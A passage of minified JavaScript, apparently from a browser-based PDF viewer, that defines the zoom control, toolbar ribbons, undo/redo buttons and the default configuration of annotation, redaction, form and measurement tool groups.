olor:{R:0,G:0,B:0,A:1}},AnnotationCreateChangeViewTool4:{StrokeColor:{R:0,G:122,B:59,A:1}}};function m1(e){return(m1="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function g1(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return v1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return v1(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function v1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var y1=function(e){var t=null,n=vt.getToolModeMap();try{t=localStorage.getItem("toolData-".concat(e))}catch(e){console.warn('Disabling "localStorage" because it could not be accessed.'),Dp.disableLocalStorage()}if(!t&&h1[e]&&(t=JSON.stringify(h1[e])),t){var r=n[e];t=b1(t),r.setStyles(t)}},b1=function(e){return JSON.parse(e,(function(e,t){return t&&Object.entries(t).forEach((function(e){var n=g1(e,2),r=n[0],o=n[1];w1(r)&&"object"===m1(o)&&(t[r]=new window.Annotations.Color(o.R,o.G,o.B,o.A))})),t}))},w1=function(e){return["TextColor","StrokeColor","FillColor"].includes(e)},E1=function(){var e=vt.getToolModeMap();Object.keys(e).forEach((function(e){y1(e)}))},S1=n(324);function C1(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return x1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return x1(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function x1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}n(1154);function O1(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return A1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return A1(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function A1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var _1=function(){var e=O1(Ks(),1)[0],t=Rf(["(max-width: 640px)"],[!0],!1),n=O1(le((function(e){return[fi.isElementOpen(e,"zoomOverlay")]}),N),1)[0],r=re(),o=O1(Object(l.useState)("100"),2),i=o[0],a=o[1];Object(l.useEffect)((function(){var e=function(){return a(Math.ceil(100*vt.getZoom()).toString())},t=function(){return a(Math.ceil(100*vt.getZoom()).toString())},n=function(){return a("100")};return vt.addEventListener("documentLoaded",e),vt.addEventListener("zoomUpdated",t),vt.addEventListener("documentUnloaded",n),function(){vt.removeEventListener("documentLoaded",e),vt.removeEventListener("zoomUpdated",t),vt.removeEventListener("documentUnloaded",n)}}),[]);var u=i?8*(i.length+1):0;return s.a.createElement("div",{className:"zoom-overlay"},!t&&s.a.createElement("div",{className:"ToggleZoomOverlay"},s.a.createElement("div",{className:js()({OverlayContainer:!0,active:n})},s.a.createElement("div",{className:"OverlayText",onClick:function(){return r(Ps.toggleElement("zoomOverlay"))}},s.a.createElement("input",{type:"text",className:"textarea",value:i,onChange:function(e){(/^(\d){0,4}$/.test(e.target.value)||""===e.target.value)&&a(e.target.value)},onKeyPress:function(e){if("Enter"===e.nativeEvent.key||13===e.nativeEvent.keyCode){var t=Math.ceil(100*vt.getZoom()).toString();if(e.target.value===t)return;if(""===e.target.value)a(t);else{var n=e.target.value/100;n=Math.max(n,Xt()),Nu(n=Math.min(n,Qt()))}}},onBlur:function(e){var t=Math.ceil(100*vt.getZoom()).toString();e.target.value!==t&&(""===e.target.value||isNaN(Number(e.target.value))?a(t):(a(Number(e.target.value).toString()),Nu(e.target.value/100)))},tabIndex:-1,style:{width:u},"aria-label":e("action.zoomSet")}),s.a.createElement("span",null,"%")),s.a.createElement(Df,{className:"OverlayButton",img:"icon-chevron-".concat(n?"up":"down"),element:"zoomOverlay",dataElement:"zoomOverlay",ariaLabel:e("action.zoomControls")}))),s.a.createElement(rd,{img:"icon-header-zoom-out-line",onClick:Iu,title:"action.zoomOut",dataElement:"zoomOutButton"}),s.a.createElement(rd,{img:"icon-header-zoom-in-line",onClick:Lu,title:"action.zoomIn",dataElement:"zoomInButton"}))};n(1155);function T1(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return k1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return k1(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function k1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var P1=function(){var e=le(fi.getEnabledToolbarGroups),t=le(fi.getCurrentToolbarGroup),n=le(fi.getToolbarHeaders),r=Ks(),o=r.t,i=r.ready,a=T1(Object(l.useState)(0),2),u=a[0],c=a[1],f=T1(Object(l.useState)(0),2),d=f[0],p=f[1],h=T1(Object(l.useState)(!1),2),m=h[0],g=h[1],v=Object(l.useRef)(),y=Object(l.useRef)(),b=re(),w=Object(l.useCallback)((function(e,t){b(Ps.setToolbarGroup(e,t))}),[b]),E=function(e){return"toolbarGroup-Edit"!==e},S=function(e){var t=vt.getFormFieldCreationManager();"toolbarGroup-Forms"===e?t.isInFormFieldCreationMode()||t.startFormFieldCreationMode():t.isInFormFieldCreationMode()&&t.endFormFieldCreationMode()};if(Object(l.useEffect)((function(){"toolbarGroup-Forms"===t&&w("toolbarGroup-Annotate",E("toolbarGroup-Annotate"))}),[]),Object(l.useEffect)((function(){if(null!=v&&v.current&&null!=y&&y.current){var e=v.current.getBoundingClientRect().width+4,t=y.current.getBoundingClientRect().width,n=window.innerWidth/2-y.current.getBoundingClientRect().left,r=e/2,o=Math.max(n,r);v.current.style.left=o+"px",g(e<t)}}),[u,d,v,y]),0===e.length||!i)return null;var C=function(e){var t=n[e];return t&&t.name?t.name:"option.toolbarGroup.".concat(e)};return s.a.createElement(kd,{bounds:!0,innerRef:y,onResize:function(e){var t=e.bounds;p(t.width)}},(function(n){var r=n.measureRef;return s.a.createElement(Uf,{dataElement:"ribbons",className:js()("ribbons-container centered-on-empty-space"),ref:r},s.a.createElement(kd,{bounds:!0,innerRef:v,onResize:function(e){var t=e.bounds;c(t.width)}},(function(n){var r=n.measureRef;return s.a.createElement("div",{ref:r,className:js()({ribbons:!0,"is-hidden":!m})},e.map((function(e){return s.a.createElement("button",{key:e,"data-element":"".concat(e),className:js()({"ribbon-group":!0,active:e===t}),onClick:function(){S(e),w(e,E(e))}},o(C(e)))})))})),s.a.createElement("div",{className:js()({ribbons:!0,"is-hidden":m})},s.a.createElement(ky,{dataElement:"ribbonsDropdown",items:e,getTranslationLabel:C,currentSelectionKey:t,onClickItem:function(e){S(e),w(e,E(e))}})))}))},M1=(n(1156),function(){var e=re(),t=vt.getFormFieldCreationManager(),n=Object(l.useCallback)((function(){t.endFormFieldCreationMode(),e(Ps.setToolbarGroup("toolbarGroup-View"))}),[t,e]);return s.a.createElement(bf,{dataElement:"applyFormFieldButton",label:"formField.apply",className:"apply-form-field-button",onClick:n})}),R1={type:"actionButton",style:{marginLeft:"0px"},dataElement:"undoButton",title:"action.undo",img:"icon-operation-undo",onClick:function(){vt.undo()},isNotClickableSelector:function(e){return!e.viewer.canUndo}},j1={type:"actionButton",dataElement:"redoButton",title:"action.redo",img:"icon-operation-redo",onClick:function(){vt.redo()},isNotClickableSelector:function(e){return!e.viewer.canRedo}};var L1,I1,N1=function(){return!(!Dp.isLocalStorageEnabled()||!window.localStorage.getItem("hideContentEditWarning"))&&JSON.parse(window.localStorage.getItem("hideContentEditWarning"))};function D1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function F1(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?D1(Object(n),!0).forEach((function(t){B1(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):D1(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function B1(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var H1=window.Core.Tools.ToolNames,V1={viewer:{TabManager:null,tabs:[],activeTab:0,isMultiTab:!1,thumbnailSelectingPages:!1,isInDesktopOnlyMode:!1,canUndo:!1,canRedo:!1,toolbarGroup:"toolbarGroup-Annotate",activeTheme:"light",currentLanguage:"en",disabledElements:{},openElements:(L1={header:!0,toolsHeader:!0},B1(L1,Yh.STYLE_POPUP_TEXT_STYLE_CONTAINER,!0),B1(L1,Yh.STYLE_POPUP_LABEL_TEXT_CONTAINER,!0),L1),panelWidths:{leftPanel:264,searchPanel:293,notesPanel:293,redactionPanel:330,wv3dPropertiesPanel:330},documentContainerWidth:null,documentContainerHeight:null,lastPickedToolForGroup:{},lastPickedToolGroup:{},highContrastMode:lh("highContrastMode",!1),notesInLeftPanel:lh("notesInLeftPanel",!1),autoFocusNoteOnAnnotationSelection:lh("autoFocusNoteOnAnnotationSelection",!0),fadePageNavigationComponent:!0,pageDeletionConfirmationModalEnabled:!0,outlineControlVisibility:!1,hideContentEditWarning:N1(),currentContentBeingEdited:null,headers:{default:[{type:"toggleElementButton",img:"icon-header-sidebar-line",element:"leftPanel",dataElement:"leftPanelButton",title:"component.leftPanel"},{type:"divider"},{type:"toggleElementButton",img:"icon-header-page manipulation-line",element:"viewControlsOverlay",dataElement:"viewControlsButton",title:"component.viewControlsOverlay"},{type:"customElement",render:function(){return s.a.createElement(_1,null)},dataElement:"zoomOverlayButton",element:"zoomOverlay",hiddenOnMobileDevice:!0},{type:"divider",hidden:["small-mobile","mobile","tablet"]},{type:"toolButton",toolName:"Pan"},{type:"toolButton",toolName:"TextSelect"},{type:"toolButton",toolName:"AnnotationEdit",hidden:["small-mobile","mobile"]},{type:"customElement",render:function(){return s.a.createElement(P1,null)},className:"custom-ribbons-container"},{type:"toggleElementButton",dataElement:"searchButton",element:"searchPanel",img:"icon-header-search",title:"component.searchPanel",hidden:["small-mobile"]},{type:"toggleElementButton",dataElement:"toggleNotesButton",img:"icon-header-chat-line",title:"component.notesPanel",element:"notesPanel",onClick:function(e){e(Ps.toggleElement("notesPanel")),setTimeout((function(){return e(Ps.toggleElement("annotationNoteConnectorLine"))}),400)},hidden:["small-mobile"]},{type:"toggleElementButton",dataElement:"menuButton",element:"menuOverlay",img:"icon-header-settings-line",title:"component.menuOverlay",hidden:["small-mobile"]},{type:"actionButton",dataElement:"moreButton",title:"action.more",img:"icon-tools-more",onClick:function(e){e(Ps.setActiveHeaderGroup("small-mobile-more-buttons")),vt.setToolMode(Qa)},hidden:["mobile","tablet","desktop"]}],"small-mobile-more-buttons":[{type:"toggleElementButton",dataElement:"searchButton",element:"searchPanel",img:"icon-header-search",title:"component.searchPanel"},{type:"toggleElementButton",dataElement:"toggleNotesButton",element:"notesPanel",img:"icon-header-chat-line",title:"component.notesPanel"},{type:"toggleElementButton",dataElement:"menuButton",element:"menuOverlay",img:"icon-header-settings-line",title:"component.menuOverlay"},{type:"spacer"},{type:"actionButton",dataElement:"defaultHeaderButton",titile:"action.close",img:"ic_close_black_24px",onClick:function(e){e(Ps.setActiveHeaderGroup("default")),vt.setToolMode(Qa)}}],"toolbarGroup-View":[],"toolbarGroup-Annotate":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"highlightTools",dataElement:"highlightToolGroupButton",title:"annotation.highlight"},{type:"toolGroupButton",toolGroup:"underlineTools",dataElement:"underlineToolGroupButton",title:"annotation.underline"},{type:"toolGroupButton",toolGroup:"strikeoutTools",dataElement:"strikeoutToolGroupButton",title:"annotation.strikeout"},{type:"toolGroupButton",toolGroup:"squigglyTools",dataElement:"squigglyToolGroupButton",title:"annotation.squiggly"},{type:"toolGroupButton",toolGroup:"stickyTools",dataElement:"stickyToolGroupButton",title:"annotation.stickyNote"},{type:"toolGroupButton",toolGroup:"freeTextTools",dataElement:"freeTextToolGroupButton",title:"annotation.freetext"},{type:"toolGroupButton",toolGroup:"rectangleTools",dataElement:"shapeToolGroupButton",title:"annotation.rectangle"},{type:"toolGroupButton",toolGroup:"freeHandTools",dataElement:"freeHandToolGroupButton",title:"annotation.freehand"},{type:"toolGroupButton",toolGroup:"freeHandHighlightTools",dataElement:"freeHandHighlightToolGroupButton",title:"annotation.freeHandHighlight"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},F1(F1({},R1),{},{hideOnClick:!0}),F1(F1({},j1),{},{hideOnClick:!0}),{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Shapes":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"freeHandTools",dataElement:"freeHandToolGroupButton",title:"annotation.freehand"},{type:"toolGroupButton",toolGroup:"freeHandHighlightTools",dataElement:"freeHandHighlightToolGroupButton",title:"annotation.freeHandHighlight"},{type:"toolGroupButton",toolGroup:"rectangleTools",dataElement:"shapeToolGroupButton",title:"annotation.rectangle"},{type:"toolGroupButton",toolGroup:"ellipseTools",dataElement:"ellipseToolGroupButton",title:"annotation.ellipse"},{type:"toolGroupButton",toolGroup:"arcTools",dataElement:"arcToolGroupButton",title:"annotation.arc"},{type:"toolGroupButton",toolGroup:"polygonTools",dataElement:"polygonToolGroupButton",title:"annotation.polygon"},{type:"toolGroupButton",toolGroup:"cloudTools",dataElement:"polygonCloudToolGroupButton",title:"annotation.polygonCloud"},{type:"toolGroupButton",toolGroup:"lineTools",dataElement:"lineToolGroupButton",title:"annotation.line"},{type:"toolGroupButton",toolGroup:"polyLineTools",dataElement:"polyLineToolGroupButton",title:"annotation.polyline"},{type:"toolGroupButton",toolGroup:"arrowTools",dataElement:"arrowToolGroupButton",title:"annotation.arrow"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Redact":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"redactionTools",dataElement:"redactionToolGroupButton",title:"annotation.redact"},{type:"actionButton",toolGroup:"pageRedactionTools",dataElement:"pageRedactionToolGroupButton",title:"action.redactPages",showColor:"never",img:"icon-tool-page-redact",onClick:function(e){return e(Ps.openElement(Yh.PAGE_REDACT_MODAL))}},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},{type:"toggleElementButton",img:"icon-redact-panel",element:Yh.REDACTION_PANEL,dataElement:Yh.REDACTION_PANEL_TOGGLE,title:"component.redactionPanel"},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Insert":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"signatureTools",img:"icon-tool-signature",dataElement:"signatureToolGroupButton",title:"annotation.signature",showColor:"never"},{type:"toolGroupButton",toolGroup:"rubberStampTools",img:"icon-tool-stamp-line",dataElement:"rubberStampToolGroupButton",title:"annotation.rubberStamp"},{type:"toolGroupButton",toolGroup:"stampTools",img:"icon-tool-image-line",dataElement:"stampToolGroupButton",title:"annotation.image"},{type:"toolGroupButton",toolGroup:"fileAttachmentTools",img:"ic_fileattachment_24px",dataElement:"fileAttachmentToolGroupButton",title:"annotation.fileattachment",showColor:"never"},{type:"toolGroupButton",toolGroup:"calloutTools",dataElement:"calloutToolGroupButton",title:"annotation.callout"},{type:"toolGroupButton",toolGroup:"model3DTools",img:"icon-tool-model3d",dataElement:"threeDToolGroupButton",title:"annotation.3D",showColor:"never"},{type:"toolGroupButton",toolGroup:"changeViewTools",dataElement:"changeViewToolGroupButton",title:"annotation.changeView"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Measure":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"distanceTools",dataElement:"distanceToolGroupButton",title:"annotation.distanceMeasurement"},{type:"toolGroupButton",toolGroup:"arcMeasurementTools",dataElement:"arcMeasurementToolGroupButton",title:"annotation.arcMeasurement"},{type:"toolGroupButton",toolGroup:"perimeterTools",dataElement:"perimeterToolGroupButton",title:"annotation.perimeterMeasurement"},{type:"toolGroupButton",toolGroup:"areaTools",dataElement:"areaToolGroupButton",title:"annotation.areaMeasurement"},{type:"toolGroupButton",toolGroup:"ellipseAreaTools",dataElement:"ellipseAreaToolGroupButton",title:"annotation.areaMeasurement"},{type:"toolGroupButton",toolGroup:"rectangleAreaTools",dataElement:"rectangleAreaToolGroupButton",title:"annotation.areaMeasurement"},{type:"toolGroupButton",toolGroup:"cloudyRectangleAreaTools",dataElement:"cloudyRectangleAreaToolGroupButton",title:"annotation.areaMeasurement"},{type:"toolGroupButton",toolGroup:"countTools",dataElement:"countToolGroupButton",title:"annotation.countMeasurement"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Edit":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"cropTools",dataElement:"cropToolGroupButton",title:"annotation.crop"},{type:"toolGroupButton",toolGroup:"contentEditTools",dataElement:"contentEditButton",title:"action.edit"},{type:"spacer",hidden:["mobile","small-mobile"]}],"toolbarGroup-FillAndSign":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"signatureTools",img:"icon-tool-signature",dataElement:"signatureToolGroupButton",title:"annotation.signature",showColor:"never"},{type:"toolGroupButton",toolGroup:"freeTextTools",dataElement:"freeTextToolGroupButton",title:"annotation.freetext"},{type:"toolGroupButton",toolGroup:"crossStampTools",img:"icon-tool-cross-stamp",dataElement:"crossStampToolButton",title:"annotation.formFillCross",showColor:"never"},{type:"toolGroupButton",toolGroup:"checkStampTools",img:"icon-tool-check-stamp",dataElement:"checkStampToolButton",title:"annotation.formFillCheckmark",showColor:"never"},{type:"toolGroupButton",toolGroup:"dotStampTools",img:"icon-tool-dot-stamp",dataElement:"dotStampToolButton",title:"annotation.formFillDot",showColor:"never"},{type:"toolGroupButton",toolGroup:"rubberStampTools",img:"icon-tool-stamp-line",dataElement:"rubberStampToolGroupButton",title:"annotation.rubberStamp"},{type:"toolGroupButton",toolGroup:"dateFreeTextTools",dataElement:"dateFreeTextToolButton",title:"annotation.dateFreeText"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}],"toolbarGroup-Forms":[{type:"spacer"},{type:"toolGroupButton",toolGroup:"formFieldTools",dataElement:"textFieldToolGroupButton",title:"annotation.textField",showColor:"always"},{type:"toolGroupButton",toolGroup:"sigFieldTools",dataElement:"signatureFieldToolGroupButton",title:"annotation.signatureFormField",showColor:"always"},{type:"toolGroupButton",toolGroup:"checkBoxFieldTools",dataElement:"checkBoxFieldToolGroupButton",title:"annotation.checkBoxFormField",showColor:"never"},{type:"toolGroupButton",toolGroup:"radioButtonFieldTools",dataElement:"radioButtonFieldToolGroupButton",title:"annotation.radioButtonFormField",showColor:"never"},{type:"toolGroupButton",toolGroup:"listBoxFieldTools",dataElement:"listBoxFieldToolGroupButton",title:"annotation.listBoxFormField",showColor:"always"},{type:"toolGroupButton",toolGroup:"comboBoxFieldTools",dataElement:"comboBoxFieldToolGroupButton",title:"annotation.comboBoxFormField",showColor:"always"},{type:"divider"},{type:"customElement",render:function(){return s.a.createElement(Tw,null)},dataElement:"toolsOverlay",hidden:["small-mobile","mobile"]},{type:"customElement",dataElement:"applyFormFieldsButton",render:function(){return s.a.createElement(M1,null)}},{type:"spacer",hidden:["mobile","small-mobile"]}]},annotationPopup:[{dataElement:"viewFileButton"},{dataElement:"annotationCommentButton"},{dataElement:"annotationStyleEditButton"},{dataElement:"annotationDateEditButton"},{dataElement:"annotationRedactButton"},{dataElement:"annotationCropButton"},{dataElement:"annotationContentEditButton"},{dataElement:"annotationGroupButton"},{dataElement:"annotationUngroupButton"},{dataElement:"formFieldEditButton"},{dataElement:"calibrateButton"},{dataElement:"linkButton"},{dataElement:"fileAttachmentDownload"},{dataElement:"annotationDeleteButton"},{dataElement:"shortCutKeysFor3D"},{dataElement:"playSoundButton"}],textPopup:[{dataElement:"copyTextButton"},{dataElement:"textHighlightToolButton"},{dataElement:"textUnderlineToolButton"},{dataElement:"textSquigglyToolButton"},{dataElement:"textStrikeoutToolButton"},{dataElement:"textRedactToolButton"},{dataElement:"linkButton"}],contextMenuPopup:[{dataElement:"panToolButton"},{dataElement:"stickyToolButton"},{dataElement:"highlightToolButton"},{dataElement:"freeHandToolButton"},{dataElement:"freeHandHighlightToolButton"},{dataElement:"freeTextToolButton"}],menuOverlay:[{dataElement:"filePickerButton"},{dataElement:"fullscreenButton"},{dataElement:"downloadButton"},{dataElement:"printButton"},{dataElement:"themeChangeButton"},{dataElement:"languageButton"}],pageManipulationOverlay:[{dataElement:"pageAdditionalControls"},{type:"divider"},{dataElement:"pageRotationControls"},{type:"divider"},{dataElement:"pageInsertionControls"},{type:"divider"},{dataElement:"pageManipulationControls"}],thumbnailControlMenu:[{dataElement:"thumbRotateClockwise"},{dataElement:"thumbDelete"}],toolButtonObjects:(I1={AnnotationCreateCountMeasurement:{dataElement:"countMeasurementToolButton",title:"annotation.countMeasurement",img:"ic_check_black_24px",group:"countTools",showColor:"always"},AnnotationCreateCountMeasurement2:{dataElement:"countMeasurementToolButton2",title:"annotation.countMeasurement",img:"ic_check_black_24px",group:"countTools",showColor:"always"},AnnotationCreateCountMeasurement3:{dataElement:"countMeasurementToolButton3",title:"annotation.countMeasurement",img:"ic_check_black_24px",group:"countTools",showColor:"always"},AnnotationCreateCountMeasurement4:{dataElement:"countMeasurementToolButton4",title:"annotation.countMeasurement",img:"ic_check_black_24px",group:"countTools",showColor:"always"},AnnotationCreateDistanceMeasurement:{dataElement:"distanceMeasurementToolButton",title:"annotation.distanceMeasurement",img:"icon-tool-measurement-distance-line",group:"distanceTools",showColor:"always"},AnnotationCreateDistanceMeasurement2:{dataElement:"distanceMeasurementToolButton2",title:"annotation.distanceMeasurement",img:"icon-tool-measurement-distance-line",group:"distanceTools",showColor:"always"},AnnotationCreateDistanceMeasurement3:{dataElement:"distanceMeasurementToolButton3",title:"annotation.distanceMeasurement",img:"icon-tool-measurement-distance-line",group:"distanceTools",showColor:"always"},AnnotationCreateDistanceMeasurement4:{dataElement:"distanceMeasurementToolButton4",title:"annotation.distanceMeasurement",img:"icon-tool-measurement-distance-line",group:"distanceTools",showColor:"always"},AnnotationCreatePerimeterMeasurement:{dataElement:"perimeterMeasurementToolButton",title:"annotation.perimeterMeasurement",img:"icon-tool-measurement-perimeter",group:"perimeterTools",showColor:"always"},AnnotationCreatePerimeterMeasurement2:{dataElement:"perimeterMeasurementToolButton2",title:"annotation.perimeterMeasurement",img:"icon-tool-measurement-perimeter",group:"perimeterTools",showColor:"always"},AnnotationCreatePerimeterMeasurement3:{dataElement:"perimeterMeasurementToolButton3",title:"annotation.perimeterMeasurement",img:"icon-tool-measurement-perimeter",group:"perimeterTools",showColor:"always"},AnnotationCreatePerimeterMeasurement4:{dataElement:"perimeterMeasurementToolButton4",title:"annotation.perimeterMeasurement",img:"icon-tool-measurement-perimeter",group:"perimeterTools",showColor:"always"},AnnotationCreateArcMeasurement:{dataElement:"arcMeasurementToolButton",title:"annotation.arcMeasurement",img:"icon-tool-measurement-arc",group:"arcMeasurementTools",showColor:"always"},AnnotationCreateArcMeasurement2:{dataElement:"arcMeasurementToolButton2",title:"annotation.arcMeasurement",img:"icon-tool-measurement-arc",group:"arcMeasurementTools",showColor:"always"},AnnotationCreateArcMeasurement3:{dataElement:"arcMeasurementToolButton3",title:"annotation.arcMeasurement",img:"icon-tool-measurement-arc",group:"arcMeasurementTools",showColor:"always"},AnnotationCreateArcMeasurement4:{dataElement:"arcMeasurementToolButton4",title:"annotation.arcMeasurement",img:"icon-tool-measurement-arc",group:"arcMeasurementTools",showColor:"always"},AnnotationCreateAreaMeasurement:{dataElement:"areaMeasurementToolButton",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-polygon-line",group:"areaTools",showColor:"always"},AnnotationCreateAreaMeasurement2:{dataElement:"areaMeasurementToolButton2",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-polygon-line",group:"areaTools",showColor:"always"},AnnotationCreateAreaMeasurement3:{dataElement:"areaMeasurementToolButton3",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-polygon-line",group:"areaTools",showColor:"always"},AnnotationCreateAreaMeasurement4:{dataElement:"areaMeasurementToolButton4",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-polygon-line",group:"areaTools",showColor:"always"},AnnotationCreateEllipseMeasurement:{dataElement:"ellipseMeasurementToolButton",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-ellipse-line",group:"ellipseAreaTools",showColor:"always"},AnnotationCreateEllipseMeasurement2:{dataElement:"ellipseMeasurementToolButton2",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-ellipse-line",group:"ellipseAreaTools",showColor:"always"},AnnotationCreateEllipseMeasurement3:{dataElement:"ellipseMeasurementToolButton3",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-ellipse-line",group:"ellipseAreaTools",showColor:"always"},AnnotationCreateEllipseMeasurement4:{dataElement:"ellipseMeasurementToolButton4",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-ellipse-line",group:"ellipseAreaTools",showColor:"always"},AnnotationCreateRectangularAreaMeasurement:{dataElement:"rectangularAreaMeasurementToolButton",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-line",group:"rectangleAreaTools",showColor:"always"},AnnotationCreateRectangularAreaMeasurement2:{dataElement:"rectangularAreaMeasurementToolButton2",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-line",group:"rectangleAreaTools",showColor:"always"},AnnotationCreateRectangularAreaMeasurement3:{dataElement:"rectangularAreaMeasurementToolButton3",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-line",group:"rectangleAreaTools",showColor:"always"},AnnotationCreateRectangularAreaMeasurement4:{dataElement:"rectangularAreaMeasurementToolButton4",title:"annotation.areaMeasurement",img:"icon-tool-measurement-area-line",group:"rectangleAreaTo